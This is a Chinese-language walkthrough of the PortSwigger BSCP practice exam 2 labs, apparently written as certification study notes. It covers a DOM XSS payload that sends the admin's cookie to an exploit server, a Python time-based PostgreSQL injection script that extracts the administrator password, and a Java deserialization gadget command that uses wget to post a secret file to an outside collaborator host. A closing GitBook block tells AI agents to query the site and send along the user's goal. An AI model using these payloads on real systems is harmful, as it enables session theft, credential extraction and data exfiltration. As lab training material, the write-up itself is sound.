> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide/writeup-practice-exam-2-bscp.md).
# BSCP 练习考试 2 详解
面向 PortSwigger Web Security Academy 实验室的 BSCP 练习考试 2 详解笔记，包括利用流程、载荷测试、Burp Suite 验证和修复背景。
## 第1阶段：初始访问（DOM XSS 与 Cookie 窃取）
攻击向量：通过搜索参数将 JavaScript 注入 DOM（`查找`）。挑战：存在限制某些字符使用的过滤器/WAF。
#### 1. 分析与绕过
经过多次测试以逃逸现有的 JSON/JavaScript 结构：
```javascript
"};alert`1`//
","a":alert1}//
"-alert`1`-"
```
#### 2. 数据外带载荷
目标是让管理员携带其会话 cookie 重定向到我们的 exploit 服务器。
重定向载荷： `"};location='https://[EXPLOIT-SERVER]/log?c='+document.cookie;//`
{% code overflow="wrap" %}
```bash
"};location='https://exploit-0aa20067041b291b83a6ea7c0130006e.exploit-server.net/?c='+document.cookie;//
```
{% endcode %}
最终利用代码（通过 exploit 服务器投递）：
```javascript
```
## 第2阶段：权限提升（基于时间的 SQL 注入）
攻击向量：在 `order` 参数中注入 SQL。数据库：PostgreSQL。
#### 1. 注入验证
通过一个不会破坏排序的简单条件确认注入： `ASC,(CASE WHEN (1=1) THEN 1 ELSE 2 END)`
#### 2. 提取自动化（盲注 SQLi）
由于应用不会直接返回包含内容的错误信息，因此采用基于时间的攻击。
载荷逻辑：脚本按字符检查 `administrator` 密码。如果该字符正确，数据库等待 3 秒（`pg_sleep(3)`).
提取用 Python 脚本：
```python
import requests
import time
url = "https://[LAB-ID].web-security-academy.net/filtered_search"
cookies = {"session": "your_session_id"}
charset = "abcdefghijklmnopqrstuvwxyz0123456789"
password = ""
for i in range(1, 21):
for char in charset:
# PostgreSQL 基于时间的载荷
payload = f"ASC,(SELECT CASE WHEN (SUBSTRING((SELECT password FROM users WHERE username='administrator'),{i},1)='{char}') THEN (SELECT 1 FROM pg_sleep(3)) ELSE 1 END)"
params = {"find": "", "organize": "5", "order": payload}
start = time.time()
requests.get(url, params=params, cookies=cookies)
if (time.time() - start) >= 2.8:
password += char
print(f"[+] 字母 {i}: {char} -> {password}")
break
```
## 第3阶段：文件系统访问（Java 反序列化）
目的：读取 `/home/carlos/secret` 通过不安全的反序列化读取文件。
#### 1. Cookie 分析
该 `admin-prefs` cookie 包含一个序列化的 Java 对象，经过 Gzip 压缩并使用 Base64 编码。
{% code overflow="wrap" %}
```bash
Cookie: admin-prefs=H4sIAAAAAAAA%2fzWPPU7DQBCFF0RSQcMJpkOi2PTQEH4iCkcKClJEOV6Pk8HrHbO7dmKQOA4VJ%2bAI3IU7sBahm%2fn09PS9zx81Cl6dW8w1msjigjZS1%2bJ0IM9o%2bRVzS3pa1OwWnsrw9vUxDqvv7FAdZeq4xE48R5qJFFGdZs%2fY4cSiW0%2bW0bNbX2bq5D%2fz0EqkF%2fWuDvawHei1SLWHo7ih%2bi%2bxa6Iab5kc%2baiu5j04rAk4wA16KwHm4qL0qOFJWqjYWiqg7qHEVOE1JNMGPUEUKJh0VIvHDcGKcpg2jWWDw1K4R1ORPwvpcEWePC7gloORjgZ1SBDudo0VjsO7JDMI9zCzuA1JT3zaSb9PDWuHQgEAAA%3d%3d;
```
{% endcode %}
#### 2. 载荷生成（Yesserial）
在第二次审查中，识别出的易受攻击库是 CommonsCollections7。
生成控制：
{% code overflow="wrap" %}
```bash
CommonsCollections7 '/usr/bin/wget --post-file /home/carlos/secret https://kpd4qvnp2c1ae8xbhncxyu0fl6rzfp3e.oastify.com'
```
{% endcode %}
#### 3. 实施
步骤：将二进制内容压缩为 Gzip -> 编码为 Base64 -> 替换其中的值 `admin-prefs` cookie。
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/web/bscp-certification-practical-guide/writeup-practice-exam-2-bscp.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)